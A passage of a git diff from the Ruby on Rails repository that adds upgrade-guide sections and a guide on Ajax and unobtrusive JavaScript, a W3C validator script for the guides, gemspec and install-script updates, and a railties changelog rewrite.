+* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
+
+* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
+
+```ruby
+  get 'one' => 'test#example', as: :example
+  get 'two' => 'test#example', as: :example
+```
+
+```ruby
+  resources :examples
+  get 'clashing/:id' => 'test#example', as: :example
+```
+
+In the first case, you can simply avoid using the same name for multiple
+routes. In the second, you can use the `only` or `except` options provided by
+the `resources` method to restrict the routes created as detailed in the
+[Routing Guide](routing.html#restricting-the-routes-created).
+
+* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
+
+```ruby
+get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'
+```
+
+becomes
+
+```ruby
+get 'こんにちは', controller: 'welcome', action: 'index'
+```
+
+* Rails 4.0 requires that routes using `match` must specify the request method. For example:
+
+```ruby
+  # Rails 3.x
+  match '/' => 'root#index'
+
+  # becomes
+  match '/' => 'root#index', via: :get
+
+  # or
+  get '/' => 'root#index'
+```
+
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+
+Remember you must also remove any references to the middleware from your application code, for example:
+
+```ruby
+# Raise exception
+config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+```
+
+Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+
+* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
+
+* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
+
+* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example.
+
+* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes.
+
+* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`.
+* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`.
+* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`.
+* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.
+
+### Active Support
+
+Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
+
+### Helpers Loading Order
+
+The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods [...]
+
+### Active Record Observer and Action Controller Sweeper
+
+Active Record Observer and Action Controller Sweeper have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
+
+### sprockets-rails
+
+* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.
+* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance:
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+### sass-rails
+
+* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`.
+
+Upgrading from Rails 3.1 to Rails 3.2
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+
+The following changes are meant for upgrading your application to Rails 3.2.17,
+the last 3.2.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '3.2.17'
+
+group :assets do
+  gem 'sass-rails',   '~> 3.2.6'
+  gem 'coffee-rails', '~> 3.2.2'
+  gem 'uglifier',     '>= 1.0.3'
+end
+```
+
+### config/environments/development.rb
+
+There are a couple of new configuration settings that you should add to your development environment:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+```
+
+### config/environments/test.rb
+
+The `mass_assignment_sanitizer` configuration setting should also be be added to `config/environments/test.rb`:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+```
+
+### vendor/plugins
+
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+### Active Record
+
+Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks.
+
+Upgrading from Rails 3.0 to Rails 3.1
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
+
+The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '3.1.12'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   '~> 3.1.7'
+  gem 'coffee-rails', '~> 3.1.1'
+  gem 'uglifier',     '>= 1.0.3'
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+### config/application.rb
+
+The asset pipeline requires the following additions:
+
+```ruby
+config.assets.enabled = true
+config.assets.version = '1.0'
+```
+
+If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+```ruby
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+```
+
+### config/environments/development.rb
+
+Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+Add these settings if you enable the asset pipeline:
+
+```ruby
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+### config/environments/production.rb
+
+Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+```ruby
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+```
+
+### config/environments/test.rb
+
+You can help test performance with these additions to your test environment:
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = 'public, max-age=3600'
+```
+
+### config/initializers/wrap_parameters.rb
+
+Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+```ruby
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters format: [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+  self.include_root_in_json = false
+end
+```
+
+### config/initializers/session_store.rb
+
+You need to change your session key to something new, or remove all sessions:
+
+```ruby
+# in config/initializers/session_store.rb
+AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
+```
+
+or
+
+```bash
+$ bin/rake db:sessions:clear
+```
+
+### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
new file mode 100644
index 0000000..a8695ec
--- /dev/null
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -0,0 +1,405 @@
+Working with JavaScript in Rails
+================================
+
+This guide covers the built-in Ajax/JavaScript functionality of Rails (and
+more); it will enable you to create rich and dynamic Ajax applications with
+ease!
+
+After reading this guide, you will know:
+
+* The basics of Ajax.
+* Unobtrusive JavaScript.
+* How Rails' built-in helpers assist you.
+* How to handle Ajax on the server side.
+* The Turbolinks gem.
+
+-------------------------------------------------------------------------------
+
+An Introduction to Ajax
+------------------------
+
+In order to understand Ajax, you must first understand what a web browser does
+normally.
+
+When you type `http://localhost:3000` into your browser's address bar and hit
+'Go,' the browser (your 'client') makes a request to the server. It parses the
+response, then fetches all associated assets, like JavaScript files,
+stylesheets and images. It then assembles the page. If you click a link, it
+does the same process: fetch the page, fetch the assets, put it all together,
+show you the results. This is called the 'request response cycle.'
+
+JavaScript can also make requests to the server, and parse the response. It
+also has the ability to update information on the page. Combining these two
+powers, a JavaScript writer can make a web page that can update just parts of
+itself, without needing to get the full page data from the server. This is a
+powerful technique that we call Ajax.
+
+Rails ships with CoffeeScript by default, and so the rest of the examples
+in this guide will be in CoffeeScript. All of these lessons, of course, apply
+to vanilla JavaScript as well.
+
+As an example, here's some CoffeeScript code that makes an Ajax request using
+the jQuery library:
+
+```coffeescript
+$.ajax(url: "/test").done (html) ->
+  $("#results").append html
+```
+
+This code fetches data from "/test", and then appends the result to the `div`
+with an id of `results`.
+
+Rails provides quite a bit of built-in support for building web pages with this
+technique. You rarely have to write this code yourself. The rest of this guide
+will show you how Rails can help you write websites in this way, but it's
+all built on top of this fairly simple technique.
+
+Unobtrusive JavaScript
+-------------------------------------
+
+Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
+JavaScript to the DOM. This is generally considered to be a best-practice
+within the frontend community, but you may occasionally read tutorials that
+demonstrate other ways.
+
+Here's the simplest way to write JavaScript. You may see it referred to as
+'inline JavaScript':
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+```
+When clicked, the link background will become red. Here's the problem: what
+happens when we have lots of JavaScript we want to execute on a click?
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+```
+
+Awkward, right? We could pull the function definition out of the click handler,
+and turn it into CoffeeScript:
+
+```coffeescript
+paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+```
+
+And then on our page:
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+```
+
+That's a little bit better, but what about multiple links that have the same
+effect?
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+```
+
+Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*`
+attribute to our link, and then bind a handler to the click event of every link
+that has that attribute:
+
+```coffeescript
+paintIt = (element, backgroundColor, textColor) ->
+  element.style.backgroundColor = backgroundColor
+  if textColor?
+    element.style.color = textColor
+
+$ ->
+  $("a[data-background-color]").click ->
+    backgroundColor = $(this).data("background-color")
+    textColor = $(this).data("text-color")
+    paintIt(this, backgroundColor, textColor)
+```
+```html
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+```
+
+We call this 'unobtrusive' JavaScript because we're no longer mixing our
+JavaScript into our HTML. We've properly separated our concerns, making future
+change easy. We can easily add behavior to any link by adding the data
+attribute. We can run all of our JavaScript through a minimizer and
+concatenator. We can serve our entire JavaScript bundle on every page, which
+means that it'll get downloaded on the first page load and then be cached on
+every page after that. Lots of little benefits really add up.
+
+The Rails team strongly encourages you to write your CoffeeScript (and
+JavaScript) in this style, and you can expect that many libraries will also
+follow this pattern.
+
+Built-in Helpers
+----------------------
+
+Rails provides a bunch of view helper methods written in Ruby to assist you
+in generating HTML. Sometimes, you want to add a little Ajax to those elements,
+and Rails has got your back in those cases.
+
+Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two
+parts: the JavaScript half and the Ruby half.
+
+[rails.js](https://github.com/rails/jquery-ujs/blob/master/src/rails.js)
+provides the JavaScript half, and the regular Ruby view helpers add appropriate
+tags to your DOM. The CoffeeScript in rails.js then listens for these
+attributes, and attaches appropriate handlers.
+
+### form_for
+
+[`form_for`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for)
+is a helper that assists with writing forms. `form_for` takes a `:remote`
+option. It works like this:
+
+```erb
+<%= form_for(@post, remote: true) do |f| %>
+  ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/posts" class="new_post" data-remote="true" id="new_post" method="post">
+  ...
+</form>
+```
+
+Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
+than by the browser's normal submit mechanism.
+
+You probably don't want to just sit there with a filled out `<form>`, though.
+You probably want to do something upon a successful submission. To do that,
+bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
+
+```coffeescript
+$(document).ready ->
+  $("#new_post").on("ajax:success", (e, data, status, xhr) ->
+    $("#new_post").append xhr.responseText
+  ).on "ajax:error", (e, xhr, status, error) ->
+    $("#new_post").append "<p>ERROR</p>"
+```
+
+Obviously, you'll want to be a bit more sophisticated than that, but it's a
+start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
+
+### form_tag
+
+[`form_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag)
+is very similar to `form_for`. It has a `:remote` option that you can use like
+this:
+
+```erb
+<%= form_tag('/posts', remote: true) do %>
+  ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/posts" data-remote="true" method="post">
+  ...
+</form>
+```
+
+Everything else is the same as `form_for`. See its documentation for full
+details.
+
+### link_to
+
+[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
+is a helper that assists with generating links. It has a `:remote` option you
+can use like this:
+
+```erb
+<%= link_to "a post", @post, remote: true %>
+```
+
+which generates
+
+```html
+<a href="/posts/1" data-remote="true">a post</a>
+```
+
+You can bind to the same Ajax events as `form_for`. Here's an example. Let's
+assume that we have a list of posts that can be deleted with just one
+click. We would generate some HTML like this:
+
+```erb
+<%= link_to "Delete post", @post, remote: true, method: :delete %>
+```
+
+and write some CoffeeScript like this:
+
+```coffeescript
+$ ->
+  $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+    alert "The post was deleted."
+```
+
+### button_to
+
+[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
+
+```erb
+<%= button_to "A post", @post, remote: true %>
+```
+
+this generates
+
+```html
+<form action="/posts/1" class="button_to" data-remote="true" method="post">
+  <div><input type="submit" value="A post"></div>
+</form>
+```
+
+Since it's just a `<form>`, all of the information on `form_for` also applies.
+
+Server-Side Concerns
+--------------------
+
+Ajax isn't just client-side, you also need to do some work on the server
+side to support it. Often, people like their Ajax requests to return JSON
+rather than HTML. Let's discuss what it takes to make that happen.
+
+### A Simple Example
+
+Imagine you have a series of users that you would like to display and provide a
+form on that same page to create a new user. The index action of your
+controller looks like this:
+
+```ruby
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    @user = User.new
+  end
+  # ...
+```
+
+The index view (`app/views/users/index.html.erb`) contains:
+
+```erb
+<b>Users</b>
+
+<ul id="users">
+<%= render @users %>
+</ul>
+
+<br>
+
+<%= form_for(@user, remote: true) do |f| %>
+  <%= f.label :name %><br>
+  <%= f.text_field :name %>
+  <%= f.submit %>
+<% end %>
+```
+
+The `app/views/users/_user.html.erb` partial contains the following:
+
+```erb
+<li><%= user.name %></li>
+```
+
+The top portion of the index page displays the users. The bottom portion
+provides a form to create a new user.
+
+The bottom form will call the `create` action on the `UsersController`. Because
+the form's remote option is set to true, the request will be posted to the
+`UsersController` as an Ajax request, looking for JavaScript. In order to
+serve that request, the `create` action of your controller would look like
+this:
+
+```ruby
+  # app/controllers/users_controller.rb
+  # ......
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        format.html { redirect_to @user, notice: 'User was successfully created.' }
+        format.js   {}
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: "new" }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+```
+
+Notice the format.js in the `respond_to` block; that allows the controller to
+respond to your Ajax request. You then have a corresponding
+`app/views/users/create.js.erb` view file that generates the actual JavaScript
+code that will be sent and executed on the client side.
+
+```erb
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+```
+
+Turbolinks
+----------
+
+Rails 4 ships with the [Turbolinks gem](https://github.com/rails/turbolinks).
+This gem uses Ajax to speed up page rendering in most applications.
+
+### How Turbolinks Works
+
+Turbolinks attaches a click handler to all `<a>` on the page. If your browser
+supports
+[PushState](https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history#The_pushState(\).C2.A0method),
+Turbolinks will make an Ajax request for the page, parse the response, and
+replace the entire `<body>` of the page with the `<body>` of the response. It
+will then use PushState to change the URL to the correct one, preserving
+refresh semantics and giving you pretty URLs.
+
+The only thing you have to do to enable Turbolinks is have it in your Gemfile,
+and put `//= require turbolinks` in your CoffeeScript manifest, which is usually
+`app/assets/javascripts/application.js`.
+
+If you want to disable Turbolinks for certain links, add a `data-no-turbolink`
+attribute to the tag:
+
+```html
+<a href="..." data-no-turbolink>No turbolinks here</a>.
+```
+
+### Page Change Events
+
+When writing CoffeeScript, you'll often want to do some sort of processing upon
+page load. With jQuery, you'd write something like this:
+
+```coffeescript
+$(document).ready ->
+  alert "page has loaded!"
+```
+
+However, because Turbolinks overrides the normal page loading process, the
+event that this relies on will not be fired. If you have code that looks like
+this, you must change your code to do this instead:
+
+```coffeescript
+$(document).on "page:change", ->
+  alert "page has loaded!"
+```
+
+For more details, including other events you can bind to, check out [the
+Turbolinks
+README](https://github.com/rails/turbolinks/blob/master/README.md).
+
+Other Resources
+---------------
+
+Here are some helpful links to help you learn even more:
+
+* [jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki)
+* [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles)
+* [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/)
+* [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript)
+* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks)
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
new file mode 100644
index 0000000..6ef3df4
--- /dev/null
+++ b/guides/w3c_validator.rb
@@ -0,0 +1,95 @@
+# ---------------------------------------------------------------------------
+#
+# This script validates the generated guides against the W3C Validator.
+#
+# Guides are taken from the output directory, from where all .html files are
+# submitted to the validator.
+#
+# This script is prepared to be launched from the guides directory as a rake task:
+#
+# rake guides:validate
+#
+# If nothing is specified, all files will be validated, but you can check just
+# some of them using this environment variable:
+#
+#   ONLY
+#     Use ONLY if you want to validate only one or a set of guides. Prefixes are
+#     enough:
+#
+#       # validates only association_basics.html
+#       rake guides:validate ONLY=assoc
+#
+#     Separate many using commas:
+#
+#       # validates only association_basics.html and migrations.html
+#       rake guides:validate ONLY=assoc,migrations
+#
+# ---------------------------------------------------------------------------
+
+require 'w3c_validators'
+include W3CValidators
+
+module RailsGuides
+  class Validator
+
+    def validate
+      validator = MarkupValidator.new
+      STDOUT.sync = true
+      errors_on_guides = {}
+
+      guides_to_validate.each do |f|
+        begin
+          results = validator.validate_file(f)
+        rescue Exception => e
+          puts "\nCould not validate #{f} because of #{e}"
+          next
+        end
+
+        if results.validity
+          print "."
+        else
+          print "E"
+          errors_on_guides[f] = results.errors
+        end
+      end
+
+      show_results(errors_on_guides)
+    end
+
+    private
+    def guides_to_validate
+      guides = Dir["./output/*.html"]
+      guides.delete("./output/layout.html")
+      ENV.key?('ONLY') ? select_only(guides) : guides
+    end
+
+    def select_only(guides)
+      prefixes = ENV['ONLY'].split(",").map(&:strip)
+      guides.select do |guide|
+        prefixes.any? {|p| guide.start_with?("./output/#{p}")}
+      end
+    end
+
+    def show_results(error_list)
+      if error_list.size == 0
+        puts "\n\nAll checked guides validate OK!"
+      else
+        error_summary = error_detail = ""
+
+        error_list.each_pair do |name, errors|
+          error_summary += "\n  #{name}"
+          error_detail += "\n\n  #{name} has #{errors.size} validation error(s):\n"
+          errors.each do |error|
+            error_detail += "\n    "+error.to_s.delete("\n")
+          end
+        end
+
+        puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary
+        puts "\nHere are the detailed errors for each guide:" + error_detail
+      end
+    end
+
+  end
+end
+
+RailsGuides::Validator.new.validate
diff --git a/install.rb b/install.rb
index 77c3e60..bff8fee 100644
--- a/install.rb
+++ b/install.rb
@@ -5,7 +5,7 @@ if version.nil?
   exit(64)
 end
 
-%w( activesupport activemodel activerecord actionpack actionmailer railties ).each do |framework|
+%w( activesupport activemodel activerecord actionpack actionview actionmailer railties ).each do |framework|
   puts "Installing #{framework}..."
   `cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem`
 end
diff --git a/rails.gemspec b/rails.gemspec
index 4a17bea..0151abb 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -20,10 +20,12 @@ Gem::Specification.new do |s|
 
   s.add_dependency 'activesupport', version
   s.add_dependency 'actionpack',    version
+  s.add_dependency 'actionview',    version
+  s.add_dependency 'activemodel',   version
   s.add_dependency 'activerecord',  version
   s.add_dependency 'actionmailer',  version
   s.add_dependency 'railties',      version
 
   s.add_dependency 'bundler',         '>= 1.3.0', '< 2.0'
-  s.add_dependency 'sprockets-rails', '~> 2.0.0'
+  s.add_dependency 'sprockets-rails', '~> 2.0'
 end
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 743cdfa..ef7bed5 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,404 +1,362 @@
-## Rails 4.0.1 (November 01, 2013) ##
+## Rails 4.1.4 (July 2, 2014) ##
 
-*   Fix the event name of action_dispatch requests.
-
-    *Rafael Mendonça França*
-
-*   Make `config.log_level` work with custom loggers.
-
-    *Max Shytikov*
-
-*   Fix `rake environment` to do not eager load modules
-
-    *Paul Nikitochkin*
+*   No changes.
 
-*   Fix `rails plugin --help` command.
-
-    *Richard Schneeman*
 
-*   Omit turbolinks configuration completely on skip_javascript generator option.
+## Rails 4.1.3 (July 2, 2014) ##
 
-    *Nikita Fedyashev*
+*   No changes.
 
 
-## Rails 4.0.0 (June 25, 2013) ##
+## Rails 4.1.2 (June 26, 2014) ##
 
-*   Clearing autoloaded constants triggers routes reloading [Fixes #10685].
+*   Load database configuration from the first `database.yml` available in paths.
 
-    *Xavier Noria*
-
-*   Fixes bug with scaffold generator with `--assets=false --resource-route=false`.
-    Fixes #9525.
-
-    *Arun Agrawal*
+    *Pier-Olivier Thibault*
 
-*   Move rails.png into a data-uri. One less file to get generated into a new
-    application. This is also consistent with the removal of index.html.
+*   Fix `console` and `generators` blocks defined at different environments.
 
-    *Steve Klabnik*
+    Fixes #14748.
 
-*   The application rake task `doc:rails` generates now an API like the
-    official one (except for the links to GitHub).
-
-    *Xavier Noria*
-
-*   Allow vanilla apps to render CoffeeScript templates in production
-
-    Vanilla apps already render CoffeeScript templates in development and test
-    environments.  With this change, the production behavior matches that of
-    the other environments.
-
-    Effectively, this meant moving coffee-rails (and the JavaScript runtime on
-    which it is dependent) from the :assets group to the top-level of the
-    generated Gemfile.
-
-    *Gabe Kopley*
-
-*   Don't generate a scaffold.css when --no-assets is specified
-
-    *Kevin Glowacz*
-
-*   Add support for generate scaffold password:digest
-
-    * adds password_digest attribute to the migration
-    * adds has_secure_password to the model
-    * adds password and password_confirmation password_fields to _form.html
-    * omits password from index.html and show.html
-    * adds password and password_confirmation to the controller
-    * adds unencrypted password and password_confirmation to the controller test
-    * adds encrypted password_digest to the fixture
-
-    *Sam Ruby*
+    *Rafael Mendonça França*
 
-*   Improved `rake test` command for running tests
+*   Move configuration of asset precompile list and version to an initializer.
 
-    To run all tests:
+    *Matthew Draper*
 
-        $ rake test
 
-    To run a test suite
+## Rails 4.1.1 (May 6, 2014) ##
 
-        $ rake test:[models,helpers,units,controllers,mailers,...]
+*   No changes.
 
-    To run a selected test file(s):
 
-        $ rake test test/unit/foo_test.rb [test/unit/bar_test.rb ...]
+## Rails 4.1.0 (April 8, 2014) ##
 
-    To run a single test from a test file
+*   Introduce `Rails.gem_version` as a convenience method to return
+    `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+    version comparison.
 
-        $ rake test test/unit/foo_test.rb TESTOPTS='-n test_the_truth'
+    Example:
 
-*   Improve service pages with new layout (404, etc).
+        Rails.version #=> "4.1.2"
+        Rails.gem_version #=> #<Gem::Version "4.1.2">
 
-    *Stanislav Sobolev*
+        Rails.version > "4.1.10" #=> false
+        Rails.gem_version > Gem::Version.new("4.1.10") #=> true
+        Gem::Requirement.new("~> 4.1.2") =~ Rails.gem_version #=> true
 
-*   Improve `rake stats` for JavaScript and CoffeeScript: ignore block comments
-    and calculates number of functions.
+    *Prem Sichanugrist*
 
-    *Hendy Tanata*
+*   Do not crash when `config/secrets.yml` is empty.
 
-*   Ability to use a custom builder by passing `--builder` (or `-b`) has been removed.
-    Consider using application template instead. See this guide for more detail:
-    http://guides.rubyonrails.org/rails_application_templates.html
+    *Yves Senn*
 
-    *Prem Sichanugrist*
+*   Set `dump_schema_after_migration` config values in production.
 
-*   Fix `rake db:*` tasks to work with `DATABASE_URL` and without `config/database.yml`.
+    Set `config.active_record.dump_schema_after_migration` as false
+    in the generated `config/environments/production.rb` file.
 
-    *Terence Lee*
+    *Emil Soman*
 
-*   Add notice message for destroy action in scaffold generator.
+*   Added Thor-action for creation of migrations.
 
-    *Rahul P. Chaudhari*
+    Fixes #13588, #12674.
 
-*   Add two new test rake tasks to speed up full test runs.
+    *Gert Goet*
 
-    * `test:all`: run tests quickly by merging all types and not resetting db.
-    * `test:all:db`: run tests quickly, but also reset db.
+*   Ensure that `bin/rails` is a file before trying to execute it.
 
-    *Ryan Davis*
+    Fixes #13825.
 
-*   Add `--rc` option to support the load of a custom rc file during the generation of a new app.
+    *bronzle*
 
-    *Amparo Luna*
+*   Use single quotes in generated files.
 
-*   Add `--no-rc` option to skip the loading of railsrc file during the generation of a new app.
+    *Cristian Mircea Messel*, *Chulki Lee*
 
-    *Amparo Luna*
+*   The `Gemfile` of new applications depends on SDoc ~> 0.4.0.
 
-*   Fixes database.yml when creating a new rails application with '.'
-    Fixes #8304.
+    *Xavier Noria*
 
-    *Jeremy W. Rowe*
+*   `test_help.rb` now automatically checks/maintains your test database
+    schema. (Use `config.active_record.maintain_test_schema = false` to
+    disable.)
 
-*   Restore Rails::Engine::Railties#engines with deprecation to ensure
-    compatibility with gems such as Thinking Sphinx
-    Fixes #8551.
+    *Jon Leighton*
 
-    *Tim Raymond*
+*   Configure `secrets.yml` and `database.yml` to read configuration
+    from the system environment by default for production.
 
-*   Specify which logs to clear when using the `rake log:clear` task.
-    (e.g. rake log:clear LOGS=test,staging)
+    *José Valim*
 
-    *Matt Bridges*
+*   `config.assets.raise_runtime_errors` is set to true by default
 
-*   Allow a `:dirs` key in the `SourceAnnotationExtractor.enumerate` options
-    to explicitly set the directories to be traversed so it's easier to define
-    custom rake tasks.
+    This option has been introduced in
+    [sprockets-rails#100][https://github.com/rails/sprockets-rails/pull/100]
+    and defaults to true in new applications in development.
 
-    *Brian D. Burns*
+    *Richard Schneeman*
 
-*   Deprecate `Rails::Generators::ActiveModel#update_attributes` in favor of `#update`.
+*   Generates `html` and `text` templates for mailers by default.
 
-    ORMs that implement `Generators::ActiveModel#update_attributes` should change
-    to `#update`. Scaffold controller generators should change calls like:
+    *Kassio Borges*
 
-        @orm_instance.update_attributes(...)
+*   Move `secret_key_base` from `config/initializers/secret_token.rb`
+    to `config/secrets.yml`.
 
-    to:
+    `secret_key_base` is now saved in `Rails.application.secrets.secret_key_base`
+    and it fallbacks to the value of `config.secret_key_base` when it is not
+    present in `config/secrets.yml`.
 
-        @orm_instance.update(...)
+    `config/initializers/secret_token.rb` is not generated by default
+    in new applications.
 
-    This goes along with the addition of `ActiveRecord::Base#update`.
